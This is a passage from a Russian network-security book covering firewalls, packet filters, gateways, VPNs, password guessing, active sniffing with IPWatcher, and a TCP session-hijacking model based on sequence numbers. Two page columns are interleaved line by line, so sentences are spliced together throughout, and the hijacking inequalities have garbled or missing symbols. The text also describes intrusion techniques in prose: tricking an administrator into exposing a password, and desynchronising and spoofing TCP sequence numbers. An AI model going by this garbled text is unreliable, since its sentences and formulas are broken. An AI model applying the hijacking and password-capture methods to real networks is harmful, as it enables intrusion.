служащего или агента осуществляется с ведома его
Нет никакого сомнения, что эта
компании или агентства и работодатель знает о
бдительность спасла бессчетное число людей от
таком поведении, разрешает и поощряет такое
попадания в сводки криминальных новостей.
поведение или халатно не обращает внимания на
Аналогия может быть без труда распространена на
такое поведение.
мир компьютеров и сетей, когда соединения с
Билл Клинтон — президент США внешним миром делают всю систему открытой для
В подготовке этого Акта принимал участие атак извне.
коллектив авторов Конгресса США. В дни чернобелого телевидения, когда сеть
Internet еще не была бельмом на глазу
Министерства юстиции, бал правили мэйнфреймы
и закрытые протоколы передачи. Ввиду
закрытости этих систем необходимость контроля и

139 140
Ломаем и защищаем сети Ломаем и защищаем сети

защиты сетевого трафика не возникала. Однако входящий и выходящий из шлюза в Internet пакет
ситуация изменилась с принятием TCP/IP в на наличие соответствующих прав. Брандмауэры
качестве сетевой технологии и с ростом контролируют сетевой трафик на уровне как
популярности Internet. Internet, так и Intranet и в некоторых случаях не
Переход к TCP/IP изменил парадигму: только пропускают разрешенные пакеты, но и
«частные сети со специально написанными предотвращают попытки взлома системы извне.
приложениями больше не нужны для того, чтобы По словам Фарроу, брандмауэры имеют
общаться друг с другом, — говорит Рик Фарроу, три важные особенности: первое — весь трафик
независимый консультант из Internet Security должен проходить через одну точку;
Consulting. — Сегодня все сетевые приложения второе — брандмауэр должен контролировать и
способны общаться друг с другом. Если ваша сеть регистрировать весь проходящий трафик и
с компьютерами и серверами использует открытые третье — платформа брандмауэра должна быть
сетевые технологии, то вы должны приглядывать неприступна для атак.
за входной дверью, т.е. за соединениями с Рынок брандмауэров возник только в начале
другими». 90х, хотя такие компании, как Digital Equipment и
С открытием доступа из сети в Internet для Cisco Systems, включали аналогичные технологии в
работы с электронной почтой, World Wide Web и свои продукты и раньше. В 1992 г. технология
такими сервисами, как telnet и ftp, любой абонент брандмауэра вступила в пору расцвета; с этого
Internet может, в принципе, получить доступ к момента рынок просто изобилует разнообразными
этой сети с непредсказуемыми последствиями. продуктами.
Точно так же, как хозяева вынуждены Широкое развертывание брандмауэров
запирать двери в своих домах, компании должны началось годполтора назад. В прошлом году
защищать сетевые ресурсы от посторонних. только гдето около 20% компаний приняли на
вооружение эту технологию. Сегодня только 20%
ее не применяют.
Глава 14: Смените замки
С выходом компаний в Internet они
Любой более или менее серьезный план начинают испытывать потребность в защите своих
защиты внутренней сети от плохих парней в сетевых ресурсов от атак извне.
Internet не может обойтись без брандмауэра.
Брандмауэры часто сравнивают с охранниками:
они стоят на входе в сеть и проверяют каждый

141 142
Ломаем и защищаем сети Ломаем и защищаем сети

Глава 15: Идите своим путем разработки Checkpoint Software Technologies в свои
продукты. Все маршрутизаторы имеют списки
С началом объединения территориально доступа — базовый механизм, при помощи
разбросанных локальных сетей маршрутизаторы которого маршрутизатор определяет, какие пакеты
стали необходимым инструментом при передаче могут входить и выходить из сети. Однако этот
трафика локальной сети в глобальную сеть для метод не столь надежен, как оснащение
доставки в другую локальную сеть. маршрутизатора всеми функциями брандмауэра.
Маршрутизаторы занимают важное место в То, что Firewall1 выполняется маршрутизатором
большинстве сетевых сред, однако они не в Bay Networks, означает — покупать отдельный
состоянии обеспечить безопасность системы. продукт для выполнения функций брандмауэра не
нужно.
В отличие от большинства типов
брандмауэров маршрутизаторы не имеют
надежных средств протоколирования. Как таковые Глава 16: Фильтрация донизу
маршрутизаторы достаточны для компаний,
пользующихся только базовыми услугами Internet Фильтры пакетов производят оценку данных
типа электронная почта. Но если компания на основе IPинформации, содержащейся в
расширяется, создает филиалы и начинает заголовке пакета, а точнее, адреса отправителя и
пользоваться более сложными услугами или получателя пакета. Фильтр не только считывает
предоставлять удаленный доступ, то обычный IPзаголовок пакета, но и сопоставляет
маршрутизатор оказывается не в состоянии полученную информацию со списком правил
обеспечить защиту. фильтрации для разрешения или запрещения
передачи пакета.
Однако при добавлении функций
маршрутизатор может действовать как фильтр Правила фильтрации содержат такие поля,
пакетов, т.е. служить в качестве одного из самых как IPадрес, тип протокола, номер порта
типичных брандмауэров. В самом деле отправителя и номер порта получателя.
большинство фильтров пакетов реализуется на Фильтры пакетов анализируют приходящие
базе маршрутизаторов. IPпакеты и пропускают или не пропускают их в
Среди них продукты Cisco Systems и зависимости от предопределенного списка правил
Livingston Enterprises. фильтрации.
Такой гигант, как Bay Networks, заявил, что Фильтры пакетов прежде, чем разрешить
он собирается внедрить код брандмауэра пакету продолжение его предполагаемого

143 144
Ломаем и защищаем сети Ломаем и защищаем сети

маршрута, сравнивают эти характеристики с достигнет отправителя пакета, и сеанс не получит


предопределенным значением. продолжения. Динамическую фильтрацию пакетов
В целом фильтры пакетов представляют поддерживают продукты типа WatchGuard Security
наименее дешевые решения для брандмауэра, но, System компании Seattle Software Labs и
благодаря своему умению проверять пакеты BorderWare Firewall Server компании Secure
различных протоколов, они являются и наиболее Computing (данный продукт был приобретен
гибкими. Кроме того, фильтры работают быстро, Secure вместе с компанией Border Network
поскольку они просто просматривают Technologies из Торонто).
информацию о пакете при принятии решения. Но Seattle Software Labs, Cisco и CheckPoint
фильтры пакетов имеют несколько существенных Software Technologies поддерживает также
недостатков: они не в состоянии отслеживать технологию преобразования сетевого адреса. Эта
конкретный сетевой сеанс и не в силах технология обеспечивает обычную фильтрацию
предотвратить атаки с имитацией IPадресов. пакетов с искажением. При прохождении пакета
Имитация IPадресов имеет место, когда через брандмауэр его IPадрес заменяется на один
хакер присваивает себе IPадрес законного из пула адресов. Такая замена позволяет скрыть
пользователя — зачастую внутренний адрес того, внутренние адреса от злоумышленника за
кто имеет доступ к ресурсам. А так как фильтры пределами сети. Другие типы брандмауэров,
пакетов просматривают информацию об IPадресе, например шлюзы уровня приложения и шлюзы
то они допускают пакет с разрешенным адресом в уровня канала, имеют эту возможность по
сеть вне зависимости от того, откуда инициирован умолчанию.
сеанс и кто скрывается за адресом. Если хакер Когда дело касается протоколирования
узурпирует внутренний адрес, то результаты могут сетевого трафика, продукты, содержащие только
быть поистине разрушительными. фильтры пакетов, оказываются сплошь и рядом не
Однако усовершенствованная версия в состоянии выполнить эту задачу, вследствие чего
фильтрации пакетов, известная как динамическая администраторы не могут определить, что их сеть
фильтрация пакетов, позволяет анализировать была взломана.
адрес, с которого некто пытается осуществить Сети, имеющие несколько точек доступа
доступ, и производит ping для проверки этого извне, или сети, содержащие чрезвычайно важную
адреса. информацию, наряду с фильтрами пакетов
Очевидно, если злоумышленник использует должны, вообще говоря, использовать другие
внутренний IPадрес компании извне, то ping не продукты. Робин Хатчинсон, менеджер по
продуктам в Secure Computing, объясняет:

145 146
Ломаем и защищаем сети Ломаем и защищаем сети

Маршрутизатор с фильтром пакетов защитит разве Обнаружив сетевой сеанс, шлюз


что от 11летнего хакера; любой, кто захочет приложений останавливает его и вызывает
проникнуть в сеть, сможет это сделать. уполномоченное приложение для оказания
запрашиваемой услуги, допустим telnet, ftp, World
Wide Web или электронная почта. Инициировав
Глава 17: Помоги себе сам уполномоченный сеанс, брандмауэр по существу
Фильтры пакетов заняли свое место в ограничивает доступ к определенным
системе безопасности сети. Поскольку фильтры приложениям. Многие шлюзы приложений
пакетов обеспечивают высокую предоставляют также уполномоченных для HTTP,
производительность при низкой цене, они хорошо Network News Transfer Protocol (протокол для
подходят для обслуживания нужд безопасности управления группам новостей Usenet), Simple Mail
внутри сети. Организация может разбить сеть на Transfer Protocol и SNMP. Некоторые продукты,
сегменты и установить брандмауэр в каждом из например Gauntlet компании Trusted Information
них, отделив, например, бухгалтерскую систему от Systems, поддерживают помимо вышеупомянутых
системы отдела кадров. сервисов и такие как rlogin, TN3270, POP3,
gopher, X Window, finger и whois.
Однако компаниям, которым нужен
надежный страж, следует задуматься об установке По большей части популярные брандмауэры
шлюзов приложений, развивающих идею представляют собой шлюзы приложений, хотя они
фильтрации пакетов. Вместо анализа IPадресов осуществляют также фильтрацию пакетов и другие
пакетов такие шлюзы анализируют их на уровне функции. По самой своей природе шлюзы
приложений. Часто шлюзы приложений приложений имеют много преимуществ над
используют уполномоченное приложение для фильтрами пакетов. Они выполняются на
создания отдельного сеанса. В отличие от фильтра стандартном оборудовании, в частности на
пакетов, этот сеанс не допускает прямого рабочей станции Unix, имеющей больше, чем
соединения между двумя сетями, функционируя маршрутизатор, возможностей настройки. Raptor
как посредник для трафика пакетов. Systems выпустила Eagle NT, первый брандмауэр
на базе Windows NT, с помощью которого
Шлюзы приложений следят за пакетами на
администраторы сетей могут сконфигурировать
уровне приложений и инициируют
надежную защиту без знания Unix. С тех пор
уполномоченный сеанс, а не устанавливают
такие компании, как CheckPoint и NetGuard,
прямое соединение между внешним миром и
также выпустили программные брандмауэры для
внутренней сетью.
Windows NT.

147 148
Ломаем и защищаем сети Ломаем и защищаем сети

Ввиду того, что шлюзы приложений действуют аналогично транслирующей программе,


функционируют на уровне приложений, контроль получая пакеты от одного хоста и передавая их
доступа может быть отрегулирован значительно другому.
точнее, нежели в случае фильтров пакетов. Однако Такая схема менее надежна, чем в случае
одним из недостатков такого подхода является то, шлюза приложений, поскольку пакеты
что поток трафика существенно замедляется, анализируются на сеансовом (пятый уровень
поскольку инициация уполномоченного сеанса модели OSI), а не на прикладном уровне (седьмой
требует времени. Многие шлюзы приложений уровень модели OSI). Кроме того, шлюзы уровня
поддерживают скорости вплоть до уровня Т1, но, канала упрощают задачу инициирования
если компании развертывают несколько внутренним пользователям незаконного сеанса.
брандмауэров или число сеансов увеличивается, Шлюзы уровня канала редко применяются в
заторы становятся настоящей проблемой. автономных устройствах, однако если они
Шлюзы приложений, кроме того, требуют используются совместно со шлюзами приложений,
отдельного приложения для каждого сетевого то такой брандмауэр более надежен.
сервиса. Брандмауэры, не имеющие
соответствующего приложения, не позволят
осуществить доступ к данному сервису. С
Глава 18: Виртуальное соединение
технической точки зрения, это означает, что при Обычно локальные сети связывают друг с
появлении новой версии какоголибо приложения другом при помощи глобальной сетевой службы,
она должна быть загружена на брандмауэр. например арендованной линии или других
CheckPoint решила эту проблему следующим выделенных средств для обеспечения надежного
образом: заказчики могут скачать с узла Web соединения между двумя точками. Для многих
компании макросы с поддержкой последних компаний плата в тысячи долларов за выделенные
редакций популярных приложений. линии ложится тяжелым бременем на общий
Другой тип брандмауэров, шлюзы уровня бюджет ИТ. Однако, развернув виртуальную
канала, напоминает шлюзы приложений за тем частную сеть (VPN), компании могут создать
исключением, что уполномоченный сеанс соединение между брандмауэрами без
организуется на уровне TCP (или UDP), а не на дополнительных расходов на Т1 или другие
уровне приложения. Приложение выполняется не выделенные линии. Получить надежное
на брандмауэре, а в настольной системе соединение по Internet можно посредством
внутреннего пользователя. Шлюзы каналов кодирования проходящей по каналу VPN
располагаются на хостах и как таковые они информации.

149 150
Ломаем и защищаем сети Ломаем и защищаем сети

BorderWare Firewall Server 4.0 позволяет Отдел бизнесприложений для Internet


передавать информацию через Internet по компании NEC Technologies продемонстрировал
шифрованным каналам с применением закрытых VPN с протяженностью от США до Японии.
и открытых ключей. Продукт обеспечивает Ввиду того, что многие стандарты шифрования
шифрование по алгоритму RSA Data Security, запрещены к экспорту из США, в демонстрации
стандарт шифрования данных DES с NEC использовала шифрование DES и Triple DES
56разрядным ключом, Triple DES в три раза более на конце канала в СанХосе и японскую версию
мощный, нежели DES, и стандарт шифрования DES на конце канала в Токио.
RC5. Сеть VPN может применяться не только для
Eagle 4.0 компании Raptor Systems также связи между двумя офисами. Часто мобильному
поддерживает VPN с возможностью фильтрации или удаленному пользователю нужен аналогичный
внутри канала VPN. уровень защиты и надежности при обмене
Обычно канал открыт для всех протоколов, информацией или доступе к сервисам Internet.
но Eagle может пропускать только указанные CheckPoint Software использует клиентское
приложения. Например, сеансы telnet могут быть программное обеспечение шифрования, благодаря
запрещены, а электронная почта и World Wide чему удаленные пользователи имеют возможность
Web разрешены. Раньше все сервисы необходимо инициировать надежное соединение либо через
было разрешать или запрещать одновременно, коммутируемые линии, либо через Internet.
теперь же некоторые функции можно блокировать CheckPoint FireWall1 SecuRemote работает с
по выбору. Firewall1. Вместе они позволяют мобильным или
Соединения через виртуальную частную удаленным пользователям осуществлять
сеть, менее дорогие, чем выделенная линия, защищенную передачу данных и применять
работают, только если на обоих концах канала сервисы Internet, даже когда прямой защищенный
установлены брандмауэры одного и того же канал с главным офисом невозможен. При
поставщика. При установке нескольких установке на портативную или другую удаленную
брандмауэров неполное взаимодействие их между машину SecuRemote дает возможность позвонить
собой может вызвать проблемы. Однако по локальному номеру Internet вне зависимости от
поставщики брандмауэров, и не только они, местоположения пользователей, инициировать
стремятся выработать стандарты, чтобы заказчики соединение VPN, отправить и получить
получили свободу выбора, а узлы шифрованную информацию.
взаимодействовали друг с другом без проблем.

151 152
Ломаем и защищаем сети Ломаем и защищаем сети

Глава 19: Все вместе Централизованное управление вызывает


определенные заботы. До сих пор люди
Вполне вероятно, что в течение ближайшего присматривались к брандмауэрам в целях
времени большинству компаний будет нужен ознакомления с технологией. Теперь заказчики
только один брандмауэр. готовы к широкому развертыванию брандмауэров,
Однако потребность в брандмауэрах но их больше интересует возможности управления
возрастает с ростом числа филиалов. Но тогда, как продуктом, нежели его непосредственные
администраторы сетей смогут управлять функции.
несколькими брандмауэрами? К счастью, многие Многими сетевыми устройствами, такими
популярные брандмауэры имеют компонент как концентраторы, коммутаторы и другие
управления или консоль. ресурсы, можно управлять с централизованной
Например, Raptor разработал консоль панели управления, например HP OpenView или
управления безопасностью Security Management Spectrum компании Cabletron. В потенциале
Console для мониторинга, анализа и управления брандмауэры могут также быть включены в эту
безопасностью предприятия. Raptor выпустила систему. Если брандмауэров несколько, то они
недавно несколько компонентов для консоли, должны управляться централизованно. Многим
включая Eagle Netwatch 1.1, трехмерный монитор компаниям это пока еще не нужно, но нет
безопасности с возможностью составления сомнений в том, что с ростом спроса
отчетов; Security System Administration, централизованное управление появится и в
автоматически предупреждающий консоль при продуктах типа SideWinder. Другие компании,
обнаружении подозрительных действий; продукт включая Raptor, намереваются осуществить
под названием Internet Scanner разработки Internet интеграцию будущих редакций своих
Security Systems с базой данных с 135 имитациями брандмауэров с ведущими продуктами управления.
атак хакеров для тестирования защиты выбранных Но, поскольку безопасность — это
IPадресов. совершенно другой коленкор в сравнении с
Secure Computing, производящая помимо управлением традиционными сетевыми
BorderWare Firewall Server брандмауэр Sidewinder, устройствами, появление отдельной системы
встроила управление брандмауэром на базе Web в управления безопасностью вполне возможно.
свой продукт BorderWare; для удаленного Предприятия вынашивают концепцию отдельной
управления с шифрованием канала продукт консоли для системы безопасности. Заказчики
пользуется средствами Netscape Navigator и Java. устанавливают отдельные консоли, потому что они

153 154
Ломаем и защищаем сети Ломаем и защищаем сети

хотят иметь независимую структуру для NT в качестве платформы. По мере усложнения и


обеспечения всех потребностей защиты. развития рынка мелкие поставщики будут
Такой подход может даже привести к наверняка вытеснены, если у них не будет
созданию независимой команды, отвечающей за солидного продукта. Поставщикам никак не
конфигурацию, администрирование и управление прожить с продуктом, у которого ограниченный
защитой. набор возможностей.
Благословенные 50е никогда не вернутся,
но с продуманным планом защиты мы можем
Глава 20: В начале большого пути чувствовать себя в безопасности, как и в те
Рынок брандмауэров находится на времена.
начальной стадии своего формирования, но они Подавляющая часть мелких и средних
тем не менее уже нашли свою нишу среди компаний с присутствием в Internet имеет только
компаний с соединениями вовне. Исследование один брандмауэр для обслуживания потребностей
рынка на предмет использования брандмауэров защиты. Если даже они приобретут еще один, то
выявило 10 важных поставщиков, работающих в наверняка он окажется от того же поставщика, что
этой области. В настоящее время около 40 и предыдущий. Ввиду того, что продукты защиты
компаний соперничают друг с другом за этот покупались в основном у одного поставщика,
кусок рыночного пирога. По мере созревания потребность во взаимодействии брандмауэров
рынка и роста конкуренции изменения должны различных поставщиков друг с другом не
наверняка затронуть несколько уровней. Рынок возникала.
развивается с умопомрачительной скоростью, и Однако с установкой организациями
под давлением конкуренции компании проявляют множества брандмауэров в штабквартирах,
всю свою изобретательность для добавления новых филиалах и удаленных узлах дать гарантию
возможностей в свои продукты. единства происхождения продуктов из одного
Эти новые разработки включают поддержку источника стало невозможно. Осознав эту
таких приложений, как RealAudio, для ситуацию и следуя по стопам RSA Data Security,
обеспечения защищенной радиопередачи, Internet несколько поставщиков брандмауэров предложили
Phone, усовершенствованной аутентификации с стандарт для шифрования и аутентификации на
помощью аппаратных ключей сторонних уровне IP в целях обеспечения защищенного
поставщиков типа Security Dynamics и Digital обмена данными вне зависимости от того, кем
Pathways, а также топологий Token Ring и данный брандмауэр произведен. Группа
100BaseT. Кроме того, они опираются на Windows инженерной поддержки Internet опубликовала

155 156
Ломаем и защищаем сети Ломаем и защищаем сети

стандарт IPSec, благодаря которому брандмауэры то слабых мест найдется не больше, чем два
различных поставщиков могут работать друг с десятка, если же опускаться до конкретики
другом. С его реализацией пользователи могут каждого аппаратнопрограммного решения, их
безопасно обмениваться данными через будут уже сотни.
IPSecсовместимые брандмауэры. При сбалансированном подходе правде
Продукты, поддерживающие IPSec уже положено лежать гдето посередине, поэтому,
сейчас или в ближайшем будущем, включают наверное, можно согласиться с оценкой
Internet Connection Secured Network Gateway 2.2 специалистов компании Internet Security Systems,
компании IBM, Eagle 4.0 компании Raptor считающих, что в любой сети, основанной на
Systems, Firewall1 компании Checkpoint Software и протоколе TCP/IP, существует около 135
BorderWare Firewall Server 4.0 компании Secure потенциальных лазеек для хакеров. Заметим, речь
Computings. идет именно о TCP/IP. Если сервер в имеющей
выход в Internet сети работает под Novell NetWare,
применяющей протокол IPX/SPX, и к тому же у
Глава 21: Дырявая сеть него даже нет IPадреса, то дотянуться до него
Вследствие роста темпов развития Internet в злоумышленник попросту не сможет. Не стоит,
России защита данных в сетях Internet/Intranet думается, называть взлом такой сети абсолютно
приобретает не меньшую, чем на Западе, невозможным, но без серьезной помощи изнутри
актуальность. организации проникнуть в сеть точно не удастся.
Вы уверены, что сеть защищена на 100%? Если же TCP/IP — базовый протокол
Вследствие изначального отставания, корпоративной сети (что, как правило, следует из
отечественный сетевой бизнес миновал ряд использования Unixсистем, входящих в группу
детских болезней Internet (не ходили со всеми в риска), то ее уязвимость многократно возрастает.
детский сад и ветрянкой не болели), но тем не Самые незащищенные конфигурации сетей имеют,
менее проблема защиты данных Internet до сих прежде всего, крупные компании — наиболее
пор воспринимается многими довольно вероятная жертва происков мошенников. Правда,
абстрактно. даже структурно небольшие организации рискуют
конфиденциальной информацией, если в качестве
Сколько же потенциально уязвимых мест у
магистрали глобальной сети они применяют
сетей, подключенных к Internet или, употребляя
Internet. При необходимости в такой магистрали
более корректную формулировку, использующих
компании с небольшим бюджетом обращаются в
службы и сервисы Сети? Если сильно обобщать,
первую очередь к Internet, как к готовому

157 158
Ломаем и защищаем сети Ломаем и защищаем сети

недорогому решению, и сталкиваются с английском языке приблизительно равно 150000


незащищенностью открытых систем. (во всяком случае, столько их в Большом
англорусском словаре). Безусловно,
администратор может обнаружить следы
Глава 22: Ключ под ковриком многократных исполнений команды login с
В недалеком будущем протокол TCP/IP и определенного IPадреса, но не факт, что по этому
разновидности Unix, точнее, их сетевые разделы, адресу он сумеет найти злоумышленника.
станут более защищенными, но пока нам Впрочем, мы забегаем вперед. Вернемся к
приходится пожинать плоды того, что при их паролям: при всей своей простоте прямой перебор
разработке никто и не задумывался толком, какие слишком легко фиксируется и может быть тут же
проблемы могут возникнуть в будущем, то есть пресечен, но арсенал взломщика им не
сегодня. Какое же наследие старорежимных исчерпывается. Предположим, удаленный
времен мешает нам жить? пользователь, человек или программа, через telnet
Главным образом — это недостатки системы или ftp удаленно регистрируется в сети — что из
аутентификации пользователей. Лично мне не так этого следует? То, что имя пользователя и его
давно (без злого умысла, по необходимости) пароль открытым текстом пропутешествуют через
удалось подобрать чужой пароль вручную. Я имел Internet. Отслеживание IPпакетов, идущих на
представление, какие именно слова может конкретный адрес, позволяет получить реквизиты
использовать мой коллега, и, применив метод зарегистрированного пользователя, правда,
Бивиса и БаттХэда, угадал с первой попытки. перехват трафика — методика далеко не
Конечно, простой перебор отнял бы у вас тривиальная и требует реализации
вечность, но программе хватит и нескольких соответствующих условий, о чем еще пойдет речь.
часов. У хакера есть возможность запустить Итак, пароль одного из пользователей у
программу, делающую одну за другой попытки нас... то есть, мы хотели сказать, в руках у
войти в сеть через telnet, и не исключено, что он взломщика. Если перехвачен пароль
добьется успеха, поскольку при довольно администратора, то ключ от квартиры, где деньги
скромных ресурсах компьютера, на котором лежат, уже в кармане, и остальное — дело
запускается программавзломщик, можно времени. Но даже если получена возможность
производить до 1000 попыток регистрации в всего лишь легально зарегистрироваться в системе
минуту, что составит 1152000 паролей в день. Для под именем первого попавшегося пользователя, то
сравнения скажем, что, например, количество добиться можно очень и очень многого.
болееменее общеупотребительных слов в Вопервых, этот первый попавшийся пользователь

159 160
Ломаем и защищаем сети Ломаем и защищаем сети

может иметь доступ к ценной корпоративной Дада, не удивляйтесь, они продаются на


информации; вовторых, даже если это не так, совершенно легальной основе, как инструменты
у него есть доступ к одному важному сетевых администраторов для проверки
файлу — файлу паролей. надежности системы паролей. Администратор
Все пароли в системе Unix лежат в может найти слабый пароль до того, как это
зашифрованном виде в одном файле, доступном сделает ктонибудь другой, и принять
для чтения простым пользователям. соответствующие меры, под которыми
Многочисленные программы взлома позволяют подразумевается воспитательная работа с
извлечь из файла все пароли, в том числе и пароль пользователями (урезание бюджета, например) с
root — все тот же ключ от квартиры. В Windows последующей сменой пароля.
NT, правда, такой открытости нет, но тем не Если пароль состоит из 10 символов, то при
менее если незваный гость закрепится на одном приведенной выше производительности
узле сети, то проникнуть дальше вглубь сети ему программывзломщика на перебор всех возможных
уже проще. вариантов уйдет порядка двух миллиардов дней
Распространенный метод сбора или трех миллионов лет. Поэтому методу атаки в
конфиденциальной информации — запуск на лоб можно противостоять простыми
инфицированных рабочих станциях программ, организационными мероприятиями. Куда опаснее
считывающих ввод с клавиатуры. Эта методика упомянутое вскользь прослушивание IPпакетов.
дает шанс получить другие пароли, используемые
в системе. Глава 23: И у стен есть… носы
Коекто, возможно, уже удивился легкости,
с которой наш гипотетический злоумышленник Если пользоваться английской
расправляется с паролями. Но тому есть терминологией, то IPпакеты (и сеть вообще), не
сразу два объяснения: с одной стороны, прослушивают, а пронюхивают.
методика взлома основывается на том Соответствующие программы так и
допущении, что люди выбирают, как правило, называются — снифферы (sniffer — буквально
легко запоминаемые пароли, а с другой нюхач). Снифферы распространяются как в среде
стороны, программывзломщики системных хакеров, так и на коммерческой основе. Тут,
паролей распространяются не только кстати, прослеживается традиция: точно так же
хакерамилюбителями, но и фирмами, профессиональный слесарный инструмент может с
занимающимися профессиональной равным успехом применяться как мастерами, так и
разработкой ПО. медвежатниками.

161 162
Ломаем и защищаем сети Ломаем и защищаем сети

Технология вынюхивания все время Обладая достаточной квалификацией,


совершенствуется, и, не останавливаясь подробно злоумышленник может заставить соединение
на истории ее развития, посмотрим, на что существовать даже после того, как пользователь
способны самые продвинутые и, соответственно, прекратит работу. В сочетании со способностью
самые опасные снифферы. программы прерывать TCPсоединения это
Самый яркий представитель последнего приводит к следующему возможному сценарию
поколения слухачей (назовем их порусски атаки. Взломщик, образно говоря, сидит на
так) — это IPWatcher. соединении, но пока не может зарегистрироваться
на конкретной станции. Он прерывает
Отличительными чертами программы соединение, что, с большой степенью вероятности,
является наличие пользовательского интерфейса, приводит к повторной регистрации пользователя
позволяющего выборочно отслеживать любые и, соответственно, перехвату пароля. На период
потоки пакетов, и, главное, примененная в ней времени укоренения на станции сниффер может
технология активного сниффинга, позволяющего временно отсечь возможность удаленного
взаимодействовать с сетевыми соединениями. Под мониторинга администраторами, происходящего
взаимодействием в данном случае подразумевается на станции.
прерывание или даже захват активных соединений.
Наконец, перекрыв все сетевые соединения
Захват законного соединения возможен на данной рабочей станции, атакующий
даже при использовании в сети системы вынуждает пользователя обратиться за помощью к
одноразовых или же зашифрованных паролей. администратору. Наиболее вероятный
Проникновение в систему при этом не только результат — администратор, пытаясь установить
упрощается, но и становится практически возможные причины сбоя сети, зарегистрируется
незаметным: взломщик, по сути дела, лишь на станции, и его пароль будет перехвачен. Очень
разбавляет поток пакетов (что избавляет его от похоже на кадры из фантастического боевика, с
необходимости подделывать свой IPадрес в той только разницей, что все сделанные
случае фильтрации системой входящих допущения не выходят за рамки сегодняшней
пакетов по этому признаку). Пользователь реальности.
заметит только некоторое замедление сети, что
свяжет с перегрузкой трафика или проблемами Возможность выборочного отслеживания
связи, а сервер, естественно, это никак не трафика позволяет IPWatcher собирать
воспримет. практически любую информацию, передаваемую в
сети. Он может, вопервых, перехватывать все ту
же удаленную регистрацию пользователей, и,

163 164
Ломаем и защищаем сети Ломаем и защищаем сети

вовторых, либо перехватывать файлы, Главным при захвате является возможность


записываемые на сервер после обработки на прослушивания соответствующего трафика, для
рабочей станции, либо перехватывать изменения, чего, как мы уже говорили, требуется реализация
вносимые пользователем в случае архитектуры определенных условий. Internet — это не
клиентсервер. Выборочное отслеживание трафика широковещательная сеть (иначе сегодняшний
оказывается и хорошим средством защиты от трафик ее бы просто похоронил), а посему
обнаружения. Если администратор подозревает, перехват чужих пакетов возможен, только когда
что в системе работает сниффер, он ищет взломщик по чистой случайности находится в
результат его деятельности, т.е. особо крупные одном сегменте с жертвой — раз; когда взломщик
файлы с записью перехваченного трафика. В действует на уровне провайдера — два; когда
случае IPWatcher вместо всего, что гуляет по сети, подключение к трафику происходит на уровне
записывается только необходимый минимум кабельных соединений — три. Последние две
информации — это позволяет программе довольно ситуации — безусловно исключительные, но
долго скрывать свое присутствие. криминальным структурам и некоторым
Думается, нам удалось обосновать свое государственным органам они вполне по плечу.
утверждение о том, что активный сниффинг на Итак, предположив, что на двух концах
сегодняшний день — самая передовая технология соединения находятся клиент и сервер, примем
обхода многих устоев протокола TCP/IP. следующую систему обозначений:
● SVR_SEQ — порядковый номер очередного
Глава 24: Методика захвата байта, посылаемого сервером;
соединения TCP/IP ● SVR_ACK — следующий байт, который
получит сервер (порядковый номер
Возможность захвата соединения — это предыдущего байта + 1);
врожденный недостаток протокола TCP/IP. ● SVR_WIND — окно приема сервера;
Правда, сей недостаток представляет не только
инструмент для проникновения в чужую сеть, но и ● CLT_SEQ, CLT_ACK, CLT_WIND — это
дополнительные средства управления и аналогичные величины для клиента.
мониторинга потоков IPпакетов, и, несомненно, Введем также обозначения для полей
знание этого механизма будет нелишним. заголовка пакета TCP:
Ознакомимся с упрощенной моделью захвата ● SEG_SEQ — порядковый номер пакета;
соединения, оговорив начальные условия.

165 166
Ломаем и защищаем сети Ломаем и защищаем сети

● SEG_ACK — ожидаемый порядковый номер Получив этот пакет, сервер подтверждает


следующего принимаемого байта; порядковый номер клиента, посылает свой
● SEG_FLAG — набор контрольных битов собственный начальный номер и устанавливает
пакета. бит SYN:
SEG_SEQ = SVR_SEQ_0,
Перечисленные параметры связаны между
SEQ_ACK = CLT_SEQ_0+1,
собой следующим образом:
SEG_FLAG = SYN,
всегда затем сервер задает
CLT_ACK Ј SVR_SEQ Ј CLT_ACK+CLT_WIND SVR_ACK= CLT_SEQ_0+1.
и Получив этот пакет, клиент подтверждает
SVR_ACK Ј CLT_SEQ Ј SVR_ACK+SVR_WIND; порядковый номер сервера:
как правило (при прямом соединении) SEG_SEQ = CLT_SEQ_0+1,
SEG_SEQ = CLT_SEQ SEQ_ACK = SVR_SEQ_0+1,
и и устанавливает
SEG_ACK = CLT_ACK. CLT_ACK = SVR_SEQ_0+1,
Теперь предположим, что установлено переходя в состояние установленного
соединение TCP/IP. соединения.
По получении этого пакета на стороне
Установление соединения TCP/IP сервера соединение также приходит в состояние
Процесс установления соединения, в установлено. В итоге мы имеем:
предположении, что оно инициируется клиентом CLT_SEQ = CLT_SEQ_0+1
при отсутствии обмена информацией, потерях CLT_ACK = SVR_SEQ_0+1
пакетов и т.д., проходит следующим образом. SVR_SEQ = SVR_SEQ_0+1
Перед установлением соединение на SVR_ACK = CLT_SEQ_0+1
стороне клиента находится в закрытом состоянии, из чего следует, что
а на стороне сервера — в состоянии ожидания. SVR_SEQ=CLT_ACK
Клиент сперва посылает свой начальный и
порядковый номер и устанавливает бит SYN: CLT_SEQ=SVR_ACK.
SEQ_SEQ = CLT_SEQ_O,
SEG_FLAG = SYN.

167 168
Ломаем и защищаем сети Ломаем и защищаем сети

После установления соединения пакет (2)


принимается сервером или клиентом, если его CLT_SEQ SVR_ACK + SVR_WIND
порядковый номер укладывается в интервал или
[XXX_ACK,XXX_ACK+XXX_WIND], CLT_SEQ SVR_ACK
где XXX — это SVR или CLT пакет отбрасывается, а данные теряются.
соответственно. Соединение прерывается после И в том и в другом случае обмен данными,
выставления флагов RST (получатель обрывает даже если соединение не прерывается,
соединение немедленно) или FIN (получатель невозможен.
приступает к процедуре его постепенного Предполагаемая атака основывается на
закрытия). приведении обоих концов соединения в
десинхронизированное состояние, что прерывает
Атака соединения
обмен данными между ними, и создании пакетов,
Если два последних равенства перестают мимикрирующих под оригинальные, естественно
выполняться, то соединение (обмен данными в таких, которые удовлетворяют текущему
нашей модели отсутствует) переходит в состоянию на соответствующем конце соединения.
десинхронизированное состояние. При отсутствии
передачи информации такое состояние может Предположим, сеанс TCP/IP
оставаться стабильным сколь угодно долго. Если десинхронизирован, а клиент продолжает слать
же передача начинается, то возможны две пакеты, у которых
ситуации: SEG_SEQ = CLT_SEQ,
а
(1)
SEG_ACK = CLT_ACK.
CLT_SEQ SVR_ACK + SVR_WIND
Пакеты, вследствие нарушения все тех же
и
равенств, отбрасываются. Атакующий меняет
CLT_SEQ SVR_ACK SEG_SEQ и SEG_ACK (корректируя при этом
информация принимается для дальнейшего контрольную сумму), чтобы они были равны
использования, но не посылается пользователю, SVR_ACK и SVR_SEG соответственно.
поскольку начало потока (под номером SVR_ACK)
Фактически получается, что взломщик
потеряно;
